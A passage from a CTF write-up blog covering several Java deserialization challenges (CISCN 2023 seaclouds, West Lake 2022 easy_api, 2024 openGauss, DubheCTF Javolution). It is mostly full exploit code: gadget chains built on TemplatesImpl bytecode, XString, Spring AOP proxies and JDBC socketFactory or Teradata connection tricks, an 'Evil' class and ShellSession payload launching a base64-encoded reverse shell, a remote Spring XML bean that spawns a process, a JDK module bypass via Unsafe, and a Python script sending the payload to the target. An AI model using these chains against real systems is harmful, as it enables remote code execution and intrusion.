YXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAA9wcmludFN0YWNrVHJhY2UAIQAnADUAAAAAAAUAAQA2ADcAAQA4AAAAHQABAAEAAAAFKrcAAbEAAAABADkAAAAGAAEAAAATAAEAOgA7AAIAOAAAASEABQAJAAAAqSsSArkAAwIAxgCgBD4SBLgABToEGQTGABIZBLYABhIHtgAImQAFAz4dmQAfBr0ACVkDEgpTWQQSC1NZBSsSArkAAwIAU6cAHAa9AAlZAxIMU1kEEg1TWQUrEgK5AAMCAFM6BbgADhkFtgAPtgAQOga7ABFZGQa3ABISE7YAFDoHGQe2ABWZAAsZB7YAFqcABRIXOggsuQAYAQAZCLYAGSy5ABgBALYAGrEAAAACADkAAAAyAAwAAAAqAAsAKwANACwAFAAtACYALgAoADAAYwAxAHAAMgCAADMAlAA0AJ8ANQCoADcAPAAAAC4ABv0AKAEHAD0fWAcAPv4ALgcAPgcAPwcAQEEHAD3/ABUAAwcAQQcAQgcAQwAAAEQAAAAEAAEARQABAEYARwACADgAAAAZAAAAAwAAAAGxAAAAAQA5AAAABgABAAAAPABEAAAABAABAEgAAQBGAEkAAgA4AAAAGQAAAAQAAAABsQAAAAEAOQAAAAYAAQAAAEEARAAAAAQAAQBIAAgASgA3AAEAOAAAAOoABgAHAAAAf7gAGxIcA7kAHQMAwAAeSyoSH7kAIAIAwAAfTCu2ACESIrYAI00sBLYAJCwrtgAlwAAmThInEigFvQApWQMSKlNZBBIrU7YALDoEBL0ACVkDEi1TuAAuLbkALwIAuQAwAQA6BbsAJ1m3ADE6BisZBRkGGQS2ADKnAAhLKrYANLEAAQAAAHYAeQAzAAIAOQAAAEIAEAAAABcADwAYABsAGQAlABoAKgAbACwAHAAzAB0ASgAeAFcAHwBcACAAYwAhAGwAIgB2ACYAeQAkAHoAJQB+ACcAPAAAAAkAAvcAeQcASwQAAgBMAAAAAgBNAH4AAAASAAIAJgB7AH0ACQCGAHsAwwYJ";
byte[] bytes=Base64.getDecoder().decode(s);

setFieldValue(templates,"_name","EddieMurphy");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

POJONode pojoNode=new POJONode(templates);
HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(1);
HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(2);

HashMap hashMap=new HashMap();
hashMap.put(hotSwappableTargetSource,"1");
hashMap.put(hotSwappableTargetSource1,"2");

setFieldValue(hotSwappableTargetSource,"target",pojoNode);
setFieldValue(hotSwappableTargetSource1,"target",new XString("a"));

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));

POJONode pojoNode1=new POJONode(signedObject);
HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource(3);
HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource(4);

HashMap hashMap1=new HashMap();
hashMap1.put(hotSwappableTargetSource2,"1");
hashMap1.put(hotSwappableTargetSource3,"2");
setFieldValue(hotSwappableTargetSource2,"target",pojoNode1);
setFieldValue(hotSwappableTargetSource3,"target",new XString("b"));

CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
GenericMessage genericMessage = new GenericMessage(hashMap1);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(Base64.getEncoder().encodeToString(decodemsg));
// Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
// messagecode.getPayload();

}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"exec\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
}

记得URL编码:

image-20240816171859812

image-20240816171950364

参考:

【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现-CSDN博客

【Web】关于Java反序列化那些实现机制的朴素通识-CSDN博客

CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化) | Java (gitbook.io)

CISCN2023西南赛区半决赛 seaclouds (yuque.com)

[西湖论剑 2022]easy_api

比较简单的一道题,主要是复习一下fj吧。

先审计一下源码。

分析

image-20240917145855630

简单的index路由,没啥好看的。

image-20240917145919252

找到java反序列化入口,看下lib里都有啥:

image-20240917150027163

fj1.2.48,没事了,直接打。

这里有个小插曲就是绕到/api/test上:

image-20240917150543256

其实也很简单,双斜杠就绕了:web.xml filter 绕过匹配访问(针对jetty)_jetty权限绕过-CSDN博客

fastjson最经典的部分是自动触发getter来getProperties加载字节码,如何触发getter可以通过JSON.parse触发,也可以通过toJSONString触发,很有意思的是JSON这个类的tostring就是toJSONString:

image-20240917150458344

题目ban了BadAttributeValueExpException来触发tostring,也ban了JNDI的一些方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"java.lang.reflect.Proxy", "javax.management.BadAttributeValueExpException", "sun.rmi.server.UnicastRef", "sun.rmi.transport.LiveRef", "sun.rmi.transport.tcp.TCPEndpoint", "java.rmi.server.RemoteObject", "java.rmi.server.RemoteRef", "java.rmi.server.ObjID", "java.rmi.RemoteObjectInvocationHandler", "java.rmi.server.UnicastRemoteObject", "java.rmi.registry.Registry"};
String[] var4 = denyClasses;
int var5 = denyClasses.length;

for(int var6 = 0; var6 < var5; ++var6) {
String denyClass = var4[var6];
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}

那么我们可以用xstring来触发,复制之前的部分即可。

gadget:

1
2
3
4
readObject->hashmap.put
->XString.toString
->JSON.toString
->Templates.getProperties

XString后面直接接上恶意字节码打了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.eddiemurphy;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_class", null);
JSONObject jsonObject = new JSONObject();
jsonObject.put("jb", templates);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;

try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("EddieMurphy"));
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);

try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(s);
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}

Evil.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

public Evil() {
super();
try {
Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
}catch (Exception e){
e.printStackTrace();
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

image-20240917151643797

image-20240917151501140

2024京津冀长城杯-openGuass

非常好jdbc,使我的jdk17旋转。

分析

UserController逻辑很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@RequestMapping({"/user"})
public class UserController {
public UserController() {
}

@PostMapping({"/info"})
public String ser(@RequestParam String data) {
try {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)));
admin user = (admin)ois.readObject();
return user.getName();
} catch (Exception var4) {
Exception e = var4;
return e.toString();
}
}
}

看一手依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.opengauss</groupId>
<artifactId>opengauss-jdbc</artifactId>
<version>2.0.1-compatibility</version>
</dependency>
<dependency>
<groupId>com.oracle.coherence.ce</groupId>
<artifactId>coherence-rest</artifactId>
<version>14.1.1-0-3</version>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>
</dependencies>

思路参照欧阳学长的:记一次tabby利用链挖掘 | H4cking to the Gate . (h4cking2thegate.github.io)

本题依赖存在 opengauss-jdbc,虽然没见过,但是可以从代码和文档中看到,是用 postgre jdbc 改的,那么经典的方法就是利用 socketFactory 来触发 String 参数构造方法

常见的出网利用方法是 ClassPathXmlApplicationContext

那么利用链中间的部分可以暂定为 jdbc,接下来需要触发 getter,以及寻找 sink。

我们可以写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception
{
String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
String myargs = "http://localhost:8000/exp.xml";
Object dataSource = getDataSource(className, myargs);
}
public static Object getDataSource(String className, String myargs) throws Exception
{
Properties properties = new Properties();
properties.setProperty("socketFactory", className);
properties.setProperty("socketFactoryArg", myargs);

PGSimpleDataSource dataSource = new PGSimpleDataSource();
setFieldValue(dataSource, "properties", properties);
dataSource.setUser("test");
dataSource.setPassword("test");
dataSource.setServerName("localhost");
dataSource.setPortNumber(1234);
dataSource.setDatabaseName("test");
return dataSource;
}

getDataSource即是利用socketFactory来设置pg数据库的一些参数,但是这里并没有getConnect操作,所以只是一个设置,并不需要本地起一个pg数据库。

若我们想在jdk17下触发toString,可以用Jackson链的EventListenerList或者 Xstring,或许依赖中还存在别的利用链。

下面用XString来实现。

学长其实还挖掘到一个入口类,tql:

1
com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession (java.lang.String)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package com.eddiemurphy;

import cn.openGauss.WebApp.user.admin;

//import com.huawei.shade.com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson2.JSONArray;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import org.opengauss.ds.PGSimpleDataSource;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Properties;


//import static cn.openGauss.WebApp.exp.PgTest.getDataSource;
//import static cn.openGauss.WebApp.exp.Utils.*;


public class OpenGaussTest
{
public static void main(String[] args) throws Exception
{
admin user = new admin("EddieMurphy");
String className = "com.tangosol.coherence.mvel2.sh.ShellSession";
String myargs = "new java.lang.ProcessBuilder(new java.lang.String[]{\"bash\", \"-c\", \"{echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\"}).start()";

// String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
// String myargs = "http://localhost:7788/exp.xml";

Object dataSource = getDataSource(className, myargs);
// ((DataSource)dataSource).getConnection();
// Object proxy = getProxy(user, DataSource.class);
// Object exp = getBadAttr(proxy);
// Object exp = getXstringMap(user);


Object proxy = getProxy(dataSource, DataSource.class);
Object exp = getXstringMap(proxy);
String b = base64Serialize(exp);
base64Deserialize(b);
}

public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}

public static Object getXstringMap(Object obj) throws Exception
{
// CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
// ctClass.removeMethod(writeReplace);
// ctClass.toClass();
// POJONode node = new POJONode(obj);

JSONArray node = new JSONArray();
node.add(obj);

XString xString = new XString("EddieMurphy");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);

return o;
}

public static Object getBadAttr(Object obj) throws Exception
{
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonArray);
return val;
}

自行补充那几个方法就可以了,可以直接用fj的平替。

还涉及一个JVM的vm-options操作,不然是不能直接调用XString的,而且pom里还需要build特定的东西,不然还是会找不到包(满满的坑)。

setFieldValue不能直接写简单的反射,应该要做到递归调用父类方法,不然也是调用不到setProperty方法。

org.springframework.context.support.ClassPathXmlApplicationContext同理可通,出网随便打:

exp.xml

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

image-20240923150053269

image-20240923150000954

学长的挖掘链方法:

image-20240923145854643

2024DubheCTF-Javolution

欧阳学长出的题,真的质量很高啊。

其实这道跟上面ccb那道有地方逻辑很像,也是用JDBC来打,这里的数据库变成了Teradata,不同的点在于,代码会真的对数据库发起一次连接,所以必须真的搭一个Teradata数据库,或者写一个Teradata的fakeserver。

当然,天无绝人之路,确实有现成的:

luelueking/Deserial_Sink_With_JDBC: Some ReadObject Sink With JDBC (github.com)

image-20240923151533033

分析

攻击方法来自:AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)

image-20240923151718933

image-20240923151754193

题目前面是一个负数溢出的绕过,以及最后套一个SSRF,域名要包含dubhe,sudo.cc本就是执行localhost的,所以dubhe.sudo.cc即可。就不详细写了。我们把重心放到后面jdk17的jdbc攻击上。

JVM参数设置:

1
--add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

但是难绷的是,我自己复现怎么都连不上这个fakeserver的数据库,导致payload出不来,一直找不到方法,作罢。

image-20240923163621149


new:解决这个问题了,fakeserver上放fakesso的ip只放127.0.0.1而不是vps_ip导致的,笑拉了。

Gadget-Chains可以慢慢跟出来:

1
2
3
TeraDataSourceBase.createNewConnection –> ConnectionFactory.createConnection new RawConnection —> 
RawConnection构造函数引用父类构造GenericTeradataConnection —> GenericTeradataConnection构造函数—>
Runtime.getRuntime().exec()

image-20240927202643136

EXP

怎么打都随便通啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.teradata.jdbc.TeraConnectionPoolDataSource;
import com.teradata.jdbc.TeraDataSource;
import com.teradata.jdbc.TeraDataSourceBase;
import com.teradata.jdbc.TeraPooledConnection;
//import org.assertj.core.util.xml.XmlStringPrettyFormatter;
import org.dubhe.javolution.pool.PalDataSource;
//import org.mockito.internal.matchers.Equals;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.util.*;

public class Exp2 {
public static void main(String[] args) throws Exception {
// com.sun.org.apache.xpath.internal.objects.XString
// --add-opens java.xml/com.sun.org.apache.xpath.internal=ALL-UNNAMED
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
classes.add(Class.forName("java.util.HashMap"));
classes.add(Class.forName("java.util.Properties"));
classes.add(Class.forName("java.util.PriorityQueue"));
classes.add(Class.forName("com.teradata.jdbc.TeraDataSource"));
classes.add(Class.forName("javax.management.BadAttributeValueExpException"));
classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString"));
classes.add(Class.forName("java.util.HashMap$Node"));
classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode"));
// classes.add(Class.forName("java.xml.*"));

new Exp2().bypassModule(classes);

TeraDataSource dataSource = new PalDataSource();
//dataSource.setBROWSER("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
dataSource.setBROWSER("calc");
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("vps");
dataSource.setDbsPort("10250");

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = dataSource.getClass().getModule();
Class currentClass = PriorityQueue.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);

Class<?> clazz =
Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
InvocationHandler handler = (InvocationHandler)
cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]
{DataSource.class}, handler);
POJONode pojoNode = new POJONode(proxyObj);

// POJONode pojoNode = new POJONode(dataSource);
// pojoNode.toString();

// com.sun.org.apache.xpath.internal.objects
Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor = cls.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object xString = constructor.newInstance("1");

HashMap hashMap = makeMap(xString,pojoNode);

serialize(hashMap);
unserialize("ser.bin");

}
public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);

HashMap<Object, Object> s = new HashMap<>();
setFiledValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFiledValue(s, "table", tbl);

return s;
}
public static void setFiledValue(Object obj, String key, Object val) throws Exception {
Field field ;
try{
field = obj.getClass().getDeclaredField(key);
}catch(Exception e){
if (obj.getClass().getSuperclass() != null)
field = obj.getClass().getSuperclass().getDeclaredField(key);
else {
return;
}
}
field.setAccessible(true);
field.set(obj,val);
}
public static void serialize(Object obj) throws IOException {
//ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
//oos.writeObject(obj);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}

public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}

image-20240923210118086

官方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
package com.eddiemurphy;

import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;


public class Exp
{
public static void main(String[] args) throws Exception
{
//String command = "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}";
String command = "calc";
PalDataSource dataSource = new PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("vps");
dataSource.setDbsPort("10250");
dataSource.setBROWSER_TIMEOUT("2");
dataSource.getConnection();
Object proxy = getProxy(dataSource, DataSource.class);
// Object exp = getBadAttr(proxy);
Object exp = getXstringMap(proxy);
base64Serialize(exp);
}

public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}

public static Object getBadAttr(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

POJONode node = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
return val;
}

public static Object getXstringMap(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);

XString xString = new XString("EddieMurphy");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);

return o;
}

public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

public static String base64Serialize(Object obj) throws Exception
{

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20240923204554413

其实还可以打Eventlistenerlist的链子:

1
2
3
4
5
6
7
8
public static Object makeReadObjectToStringTrigger(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(obj);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}

一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

payload = "rO0ABXNyABFq......"

baseUrl = "xxxxxx"

def battle(boss):
res = requests.get(baseUrl + f"/pal/battle/{boss}")
print(res.text)

def cheat():
res = requests.get(baseUrl + "/pal/cheat?defense=-2147483648")

def show():
res = requests.get(baseUrl + "/pal/show")
print(res.text)

def reverseShell():
res = requests.post(baseUrl + "/pal/cheat", data={"host": "dubhe.sudo.cc", "data": payload})
print(res.text)

if __name__ == "__main__":
cheat()
show()
battle("Jetragon")
show()
reverseShell()

